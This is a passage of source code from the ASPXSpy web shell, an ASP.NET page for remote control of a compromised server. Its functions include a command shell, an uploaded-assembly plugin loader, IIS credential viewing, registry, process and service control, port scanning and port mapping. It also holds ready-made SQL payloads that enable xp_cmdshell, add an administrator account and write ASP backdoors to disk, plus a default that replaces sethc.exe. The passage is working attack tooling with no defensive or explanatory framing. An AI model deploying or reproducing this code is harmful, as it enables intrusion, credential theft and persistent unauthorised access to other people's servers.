  2393. tc=new TableCell();
  2394. tc.Text="--";
  2395. tr.Cells.Add(tc);
  2396. tc=new TableCell();
  2397. tc.Text=zcg_MakeADSLinkJs(sr.Path);
  2398. tr.Cells.Add(tc);
  2399. zcg_tbl_ADSViewer.Rows.Add(tr);
  2400. }
  2401. }
  2402. catch(Exception ex)
  2403. {
  2404. zcg_ShowError(ex);
  2405. }
  2406. finally
  2407. {
  2408. if(ds!=null){ds.Dispose();}
  2409. if(sc!=null){sc.Dispose();}
  2410. }
  2411. }
  2412. private void zcg_EnumADSChildrenAndListProperties(string ADSPath,string ADSUserName,string ADSPassWord,string AuthType)
  2413. {
  2414. try
  2415. {
  2416. new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
  2417. AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
  2418. DirectoryEntry dire=null;
  2419. DirectoryEntry parent=null;
  2420. TableCell tc=null;
  2421. if(!string.IsNullOrEmpty(ADSUserName))
  2422. {
  2423. dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
  2424. }
  2425. else
  2426. {
  2427. dire=new DirectoryEntry(ADSPath);
  2428. dire.AuthenticationType=t;
  2429. }
  2430. try{zcg_lbl_Schema.Text=dire.SchemaClassName;}catch{zcg_lbl_Schema.Text="Unknown";}
  2431. parent=dire.Parent;
  2432. if(!string.Equals(parent.Path,"ADs:"))
  2433. {
  2434. TableRow tr=zcg_GetTableRow();
  2435. tc=new TableCell();
  2436. tc.Text=zcg_MakeADSLinkJs(dire.Parent.Path,"Parent DirectoryEntry");
  2437. tr.Cells.Add(tc);
  2438. tc=new TableCell();
  2439. tc.Text="Parent Entry";
  2440. tr.Cells.Add(tc);
  2441. tc=new TableCell();
  2442. try
  2443. {
  2444. tc.Text=parent.SchemaClassName;
  2445. tr.Cells.Add(tc);
  2446. }
  2447. catch
  2448. {
  2449. tc.Text="Unknown";
  2450. tr.Cells.Add(tc);
  2451. }
  2452. tc=new TableCell();
  2453. tc.Text="--";
  2454. tr.Cells.Add(tc);
  2455. tc=new TableCell();
  2456. tc.Text=zcg_MakeADSLinkJs(parent.Path);
  2457. tr.Cells.Add(tc);
  2458. zcg_tbl_ADSViewer.Rows.Add(tr);
  2459. }
  2460. foreach (DirectoryEntry child in dire.Children)
  2461. {
  2462. try
  2463. {
  2464. TableRow tr=zcg_GetTableRow();
  2465. tc=new TableCell();
  2466. tc.Text=zcg_MakeADSLinkJs(child.Path,child.Name);
  2467. tr.Cells.Add(tc);
  2468. tc=new TableCell();
  2469. tc.Text="Child Entry";
  2470. tr.Cells.Add(tc);
  2471. try
  2472. {
  2473. tc=new TableCell();
  2474. tc.Text=child.SchemaClassName;
  2475. tr.Cells.Add(tc);
  2476. }
  2477. catch
  2478. {
  2479. tc=new TableCell();
  2480. tc.Text="Unknown";
  2481. tr.Cells.Add(tc);
  2482. }
  2483. tc=new TableCell();
  2484. tc.Text="--";
  2485. tr.Cells.Add(tc);
  2486. tc=new TableCell();
  2487. tc.Text=zcg_MakeADSLinkJs(child.Path);
  2488. tr.Cells.Add(tc);
  2489. zcg_tbl_ADSViewer.Rows.Add(tr);
  2490. }
  2491. catch{}
  2492. }
  2493. TableRow intr=new TableRow();
  2494. intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  2495. intr.Attributes["bgcolor"]="#dddddd";
  2496. TableCell intc=new TableCell();
  2497. intc.Attributes["colspan"]="6" ;
  2498. intc.Attributes["height"]="5";
  2499. intr.Cells.Add(intc);
  2500. zcg_tbl_ADSViewer.Rows.Add(intr);
  2501. System.DirectoryServices.PropertyCollection pc=dire.Properties;
  2502. foreach(object o in pc.PropertyNames)
  2503. {
  2504. try
  2505. {
  2506. if(o is string)
  2507. {
  2508. string tmps=null;
  2509. object prop=pc[o as string].Value;
  2510. if(prop is Array)
  2511. {
  2512. foreach(object op in prop as Array)
  2513. {
  2514. if(op is byte)
  2515. {
  2516. tmps+=((byte)op).ToString("X2");
  2517. }
  2518. else
  2519. {
  2520. tmps+=op.ToString();
  2521. tmps+="<br />";
  2522. }
  2523. }
  2524. }
  2525. else
  2526. {
  2527. tmps=prop.ToString();
  2528. }
  2529. TableRow tr=zcg_GetTableRow();
  2530. tc=new TableCell();
  2531. tc.Text=o as string;
  2532. tr.Cells.Add(tc);
  2533. tc=new TableCell();
  2534. tc.Text="Property";
  2535. tr.Cells.Add(tc);
  2536. tc=new TableCell();
  2537. tc.Text="--";
  2538. tr.Cells.Add(tc);
  2539. tc=new TableCell();
  2540. tc.Text=tmps;
  2541. tr.Cells.Add(tc);
  2542. tc=new TableCell();
  2543. tc.Text="--";
  2544. tr.Cells.Add(tc);
  2545. zcg_tbl_ADSViewer.Rows.Add(tr);
  2546. }
  2547. }catch{}
  2548. }
  2549. }
  2550. catch(Exception ex)
  2551. {
  2552. zcg_ShowError(ex);
  2553. }
  2554. }
  2555. private string zcg_MakeADSLinkJs(params string[] ADSSettings)
  2556. {
  2557. if(ADSSettings.GetLength(0)>1)
  2558. {
  2559. return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[1]);
  2560. }
  2561. return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[0]);
  2562. }
  2563. protected void zcg_lbtnPlugin_Click(object sender,EventArgs e)
  2564. {
  2565. Hide_Div();
  2566. zcg_div_Plugin.Visible = true;
  2567. Bin_H2_Title.InnerText = "Plugin Loader >>";
  2568. }
  2569. protected void zcg_btnplgLoad_Click(object sender,EventArgs e)
  2570. {
  2571. zcg_div_PluginResult.InnerHtml="";
  2572. try
  2573. {
  2574. if(zcg_plgFile.PostedFile.ContentLength==0){Bin_Msg("No Plugin Selected");}
  2575. else
  2576. {
  2577. Stream stream=null;MemoryStream mem=new MemoryStream();byte[] b = new byte[2048];int i = 0;
  2578. if(zcg_chbIsDeflated.Checked){stream=new DeflateStream(zcg_plgFile.PostedFile.InputStream, CompressionMode.Decompress);}
  2579. else{stream=zcg_plgFile.PostedFile.InputStream;}
  2580. do{i = stream.Read(b, 0, 2048);mem.Write(b, 0, i);} while (i != 0);
  2581. stream.Close();b=mem.ToArray();mem.Close();
  2582. string TypeName=string.IsNullOrEmpty(zcg_txbTypeName.Text)?"Zcg.Test.AspxSpyPlugins.TestPlugin":zcg_txbTypeName.Text;
  2583. string MethodName=string.IsNullOrEmpty(zcg_txbMethodName.Text)?"Test":zcg_txbMethodName.Text;
  2584. Type t=Assembly.Load(b).GetType(TypeName);
  2585. if(t==null){Bin_Msg("Type "+TypeName+" Not Found");}
  2586. else{zcg_div_PluginResult.InnerHtml=String.Format("Result :<hr width=\"100%\" noshade/>"+(zcg_chbIsHtml.Checked?"{0}":"<pre><xmp>{0}</xmp></pre>"),t.InvokeMember(MethodName,BindingFlags.InvokeMethod|BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static,null,null,new object[]{zcg_txbParams.Text.Split(new string[1]{"\r\n"},StringSplitOptions.RemoveEmptyEntries)}));zcg_div_PluginResult.Visible=true;}
  2587. }
  2588. }
  2589. catch(Exception ex){zcg_ShowError(ex);}//to see InnerException
  2590. }
  2591. </script>
  2592. <html xmlns="http://www.w3.org/1999/xhtml" >
  2593. <head id="Head1" runat="server">
  2594. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  2595. <title><%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%></title>
  2596. <style type="text/css">
  2597. .Bin_Style_Login{font:11px Verdana;BACKGROUND: #FFFFFF;border: 1px solid #666666;}
  2598. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  2599. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
  2600. .list{font:12px Arial,Tahoma;height:20px;}
  2601. .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  2602. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;
  2603. }
  2604. a {color: #00f;text-decoration:underline;}
  2605. a:hover{color: #f00;text-decoration:none;}
  2606. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;}
  2607. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
  2608. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  2609. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
  2610. .head td span{font-weight:normal;}
  2611. form{margin:0;padding:0;}
  2612. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  2613. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  2614. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2615. .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2616. .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
  2617. </style>
  2618. <script type="text/javascript">
  2619. function CheckAll(form){
  2620. for(var i=0;i<form.elements.length;i++){
  2621. var e=form.elements[i];
  2622. if(e.name!='chkall')
  2623. e.checked=form.chkall.checked;
  2624. }
  2625. }
  2626. </script>
  2627. </head>
  2628. <body style="margin:0;table-layout:fixed;">
  2629. <form id="ASPXSpy" runat="server">
  2630. <div id="Bin_Div_Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
  2631. <span style="font:11px Verdana;">Password:</span>
  2632. <asp:TextBox ID="Bin_TextBox_Login" runat="server" CssClass="Bin_Style_Login" ></asp:TextBox>
  2633. <asp:Button ID="Bin_Button_Login" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="Bin_Button_Login_Click"/>
  2634. </div>
  2635. <div id="Bin_Div_Content" runat="server">
  2636. <div id="Bin_Div_Head" runat="server">
  2637. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  2638. <tr class="head">
  2639. <td ><span style="float:right;"><a href="http://www.rootkit.net.cn" target="_blank">WebShell Ver: <%=Version%></a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  2640. </tr>
  2641. <tr class="alt1">
  2642. <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  2643. <asp:LinkButton ID="Bin_Button_Logout" runat="server" OnClick="Bin_Button_Logout_Click" Text="Logout" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_File" runat="server" Text="File Manager" OnClick="Bin_Button_File_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Search" runat="server" Text="FileSearch" OnClick="Bin_Search_Start"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Cmd" runat="server" Text="CmdShell" OnClick="Bin_Button_Cmd_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_IISspy" runat="server" Text="IIS Spy" OnClick="Bin_Button_IISspy_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Process" runat="server" Text="Process" OnClick="Bin_Button_Process_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Services" runat="server" Text="Services" OnClick="Bin_Button_Services_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Userinfo" runat="server" Text="UserInfo" OnClick="Bin_Button_Userinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Sysinfo" runat="server" Text="SysInfo" OnClick="Bin_Button_Sysinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Reg" runat="server" Text="RegShell" OnClick="Bin_Button_Reg_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortScan" runat="server" Text="PortScan" OnClick="Bin_Button_PortScan_Click" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_DB" runat="server" Text="DataBase" OnClick="Bin_Button_DB_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortMap" runat="server" Text="PortMap" OnClick="Bin_Button_PortMap_Click"></asp:LinkButton> |<asp:LinkButton ID="Bin_Button_WmiTools" runat="server" Text="WmiTools" onclick="Bin_Button_WmiTools_Click" ></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnADSViewer" runat="server" Text="ADSViewer" OnClick="zcg_lbtnADSViewer_Click"></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnPlugin" runat="server" Text="PluginLoader" OnClick="zcg_lbtnPlugin_Click"></asp:LinkButton></td>
  2644. </tr>
  2645. </table>
  2646. </div>
  2647. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  2648. <div id="Bin_Div_Msg" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  2649. <h2 id="Bin_H2_Title" runat="server"></h2>
  2650. <%--FileList--%>
  2651. <div id="Bin_Div_File" runat="server">
  2652. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2653. <tr>
  2654. <td style=" white-space:nowrap">Current Directory : </td>
  2655. <td style=" width:100%"><input class="input" id="Bin_TextBox_Path" type="text" style="width:97%;margin:0 8px;" runat="server"/>
  2656. </td>
  2657. <td style="white-space:nowrap" ><asp:Button ID="Bin_Button_Go" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Go_Click"/></td>
  2658. </tr>
  2659. </table>
  2660. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2661. <tr class="alt1"><td style="padding:5px;">
  2662. <div style="float:right;"><input id="Bin_Lable_File" class="input" runat="server" type="file" style=" height:22px"/>
  2663. <asp:Button ID="Bin_Button_Upload" CssClass="bt" runat="server" Text="Upload" OnClick="Bin_Button_Upload_Click"/></div><asp:LinkButton ID="Bin_Button_WebRoot" runat="server" Text="WebRoot" OnClick="Bin_Button_WebRoot_Click"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a>
  2664. | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
  2665. </td></tr>
  2666. <asp:Table ID="Bin_Table_File" runat="server" Width="100%" CellSpacing="0" >
  2667. <asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
  2668. </asp:Table>
  2669. </table>
  2670. </div>
  2671. <%--FileEdit--%>
  2672. <div id="Bin_Div_Edit" runat="server">
  2673. <p>Current File(import new file name and new file)<br/>
  2674. <input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/> <asp:DropDownList ID="Bin_List_Code" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  2675. </p>
  2676. <p>File Content<br/>
  2677. <textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" ></textarea>
  2678. </p>
  2679. <p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> <asp:Button ID="Bin_Button_Back" runat="server" Text="Back" CssClass="bt" OnClick="Bin_Button_Back_Click"/></p>
  2680. </div>
  2681. <%--CloneTime--%>
  2682. <div id="Bin_Div_Time" runat="server" enableviewstate="false" visible="false">
  2683. <p>Alter file<br/><input class="input" id="Bin_TextBox_Sp" type="text" size="120" runat="server"/></p>
  2684. <p>Reference file(fullpath)<br/><input class="input" id="Bin_TextBox_Dp" type="text" size="120" runat="server"/></p>
  2685. <p><asp:Button ID="Bin_Button_Clone" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Clone_Click"/></p>
  2686. <h2>Set last modified &raquo;</h2>
  2687. <p>Current file(fullpath)<br/><input class="input" id="Bin_TextBox_Sp1" type="text" size="120" runat="server"/></p>
  2688. <p>
  2689. <asp:CheckBox ID="Bin_CheckBox_ReadOnly" runat="server" Text="ReadOnly" EnableViewState="False"/>
  2690. &nbsp;
  2691. <asp:CheckBox ID="Bin_CheckBox_System" runat="server" Text="System" EnableViewState="False"/>
  2692. &nbsp;
  2693. <asp:CheckBox ID="Bin_CheckBox_Hiddent" runat="server" Text="Hidden" EnableViewState="False"/>
  2694. &nbsp;
  2695. <asp:CheckBox ID="Bin_CheckBox_Archive" runat="server" Text="Archive" EnableViewState="False"/>
  2696. </p>
  2697. <p>
  2698. CreationTime :
  2699. <input class="input" id="Bin_TextBox_Creation" type="text" runat="server"/>
  2700. LastWriteTime :
  2701. <input class="input" id="Bin_TextBox_LastWrite" type="text" runat="server"/>
  2702. LastAccessTime :
  2703. <input class="input" id="Bin_TextBox_LastAccess" type="text" runat="server"/>
  2704. </p>
  2705. <p>
  2706. <asp:Button ID="Bin_Button_Att" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_Att_Click"/>
  2707. </p>
  2708. </div>
  2709. <%--IISSpy--%>
  2710. <div runat="server" id="Bin_Div_IISSpy" visible="false" enableviewstate="false">
  2711. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2712. <asp:Table ID="Bin_Table_IISSpy" runat="server" Width="100%" CellSpacing="0">
  2713. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2714. </asp:Table>
  2715. </table>
  2716. </div>
  2717. <%--Process--%>
  2718. <div runat="server" id="Bin_Div_Process" visible="false" enableviewstate="false">
  2719. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2720. <asp:Table ID="Bin_Table_Process" runat="server" Width="100%" CellSpacing="0" >
  2721. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  2722. </asp:Table>
  2723. </table>
  2724. </div>
  2725. <%--CmdShell--%>
  2726. <div runat="server" id="Bin_Div_Cmd">
  2727. <p>CmdPath:<br/>
  2728. <input class="input" runat="server" id="Bin_TextBox_CmdPath" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
  2729. </p>
  2730. Argument:<br/>
  2731. <input class="input" runat="server" id="Bin_TextBox_CmdArg" value="/c Set" type="text" size="100"/> <asp:Button ID="Bin_Button_CmdExec" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_CmdExec_Click"/>
  2732. <div id="Bin_Div_CmdRes" runat="server" visible="false" enableviewstate="false">
  2733. </div>
  2734. </div>
  2735. <%--Services--%>
  2736. <div runat="server" id="Bin_Div_Services" visible ="false" enableviewstate="false">
  2737. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2738. <asp:Table ID="Bin_Table_Serviecs" runat="server" Width="100%" CellSpacing="0" >
  2739. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  2740. </asp:Table>
  2741. </table>
  2742. </div>
  2743. <%--Sysinfo--%>
  2744. <div runat="server" id="Bin_Div_Sysinfo" visible="false" enableviewstate="false">
  2745. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2746. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  2747. <h2 id="Bin_H2_Mac" runat="server"></h2>
  2748. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2749. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  2750. <h2 id="Bin_H2_Driver" runat="server"></h2>
  2751. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2752. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  2753. </div>
  2754. <%--UserInfo--%>
  2755. <div runat="server" id="Bin_Div_Userinfo" visible="false" enableviewstate="false">
  2756. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2757. <asp:Table ID="Bin_Table_User" runat="server" Width="100%" CellSpacing="0" >
  2758. </asp:Table>
  2759. </table>
  2760. </div>
  2761. <%--Reg--%>
  2762. <div id="Bin_Div_Reg" runat="server">
  2763. <p>Registry Path : <asp:TextBox id="Bin_Text_Regread" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="Bin_Button_RegGo" runat="server" Text="Go" CssClass="bt" onclick="Bin_Bin_RegreadButton_Click"/></p>
  2764. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2765. <asp:Table ID="Bin_Table_Reg" runat="server" Width="100%" CellSpacing="0" >
  2766. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="Bin_Regroot_Href"></asp:TableCell></asp:TableRow>
  2767. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  2768. </asp:Table>
  2769. </table>
  2770. </div>
  2771. <%--PortScan--%>
  2772. <div id="Bin_Div_PortScan" runat="server">
  2773. <p>
  2774. IP : <asp:TextBox id="Bin_TextBox_Sip" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> Port : <asp:TextBox id="Bin_TextBox_Sport" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="Bin_Button_Scan" runat="server" Text="Scan" CssClass="bt" OnClick="Bin_Button_Scan_Click"/>
  2775. </p>
  2776. <div id="Bin_Label_Scanres" runat="server" visible="false" enableviewstate="false"></div>
  2777. </div>
  2778. <%--DataBase--%>
  2779. <div id="Bin_Div_Data" runat="server">
  2780. <div id='zcg_divresize' style="width:1000px;overflow:auto">
  2781. <p>ConnString : <asp:TextBox id="Bin_TextBox_ConnStr" style="width:70%;margin:0 8px; height:17px" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="Bin_List_Connstr" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost,1433;UID=sa;PWD=sa;database=master">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\database.mdb">OleDb</asp:ListItem></asp:DropDownList><asp:Button ID="Bin_Button_Conn" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Conn_Click"/></p></div>
  2782. <div id="Bin_Div_DBPanel" runat="server">
  2783. <div id="Bin_Div_Dbinfo" runat="server"></div>
  2784. <div id="Bin_Div_Dblist" runat="server">
  2785. Please select a database : <asp:DropDownList runat="server" ID="Bin_List_DB" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"></asp:DropDownList>
  2786. SQLExec : <asp:DropDownList runat="server" ID="Bin_List_Exec" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe /c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem><asp:ListItem>SA_Upfile</asp:ListItem><asp:ListItem>FileCopy</asp:ListItem></asp:DropDownList>
  2787. <asp:Button runat="server" ID="Bin_Button_Show" CssClass="bt" Text="Show Tables" OnClick="Bin_List_SelectedIndexChanged"/>
  2788. </div>
  2789. <table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="Bin_Textarea_Query" class="area" style="overflow:auto;" runat="server" rows="5" cols="100"></textarea></td></tr><tr><td>
  2790. <asp:Button runat="server" ID="Bin_Button_Query" CssClass="bt" Text="Query" onclick="Bin_Button_Query_Click"/>
  2791. <asp:Button runat="server" ID="Bin_Button_Export" CssClass="bt" Text="Export" onclick="Bin_Button_Export_Click" Visible="false" EnableViewState="false"/></td></tr></table>
  2792.  
  2793. <div id="Bin_Div_saupfile" runat="server" visible="false" enableviewstate="false">
  2794. <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2795. <tr align="center">
  2796. <td style="width:15%" align="left">UpFile : <input id="Bin_TextBox_SaFile" class="input" runat="server" type="file" style="height:22px" size="30"/></td>
  2797. <td style="width:30%" align="left">SavePath : <input id="Bin_TextBox_SavePath" class="input" runat="server" type="text" style="height:16px" size="30"/>&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button
  2798. ID="Bin_Button_SaUpfile" runat="server" CssClass="bt"
  2799. onclick="Bin_Button_SaUpfile_Click" Text="Sa_UpFile" />
  2800. </td>
  2801.  
  2802. </tr>
  2803. </table></div>
  2804. <div id="Bin_Div_CopyFile" runat="server" visible="false" enableviewstate="false">
  2805. <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2806. <tr align="center">
  2807. <td style="width:10%" align="left">Source : <input id="Bin_TextBox_Source" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\explorer.exe"/></td>
  2808. <td style="width:20%" align="left">Target : <input id="Bin_TextBox_Target" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\system32\sethc.exe"/>&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button runat="server"
  2809. ID="Bin_Button_CabCopy" CssClass="bt" Text="CabCopy"
  2810. onclick="Bin_Button_CabCopy_Click" />&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button runat="server"
  2811. ID="Bin_Button_FsoCopy" CssClass="bt" Text="FsoCopy"
  2812. onclick="Bin_Button_FsoCopy_Click"/></td>
  2813. </tr>
  2814. </table>
  2815. </div>
  2816. <div style="overflow:auto;" >
  2817. <p>
  2818. <asp:DataGrid runat="server" ID="Bin_DataGrid" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" EnableViewState="false"></asp:DataGrid>
  2819. </p>
  2820. </div>
  2821. </div>
  2822. </div>
  2823. <%--PortMap--%>
  2824. <div id="Bin_Div_PortMap" runat="server">
  2825. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2826. <tr align="center">
  2827. <td style="width:5%"></td>
  2828. <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="Bin_TextBox_Lip" type="text" size="20" value="127.0.0.1"/></td>
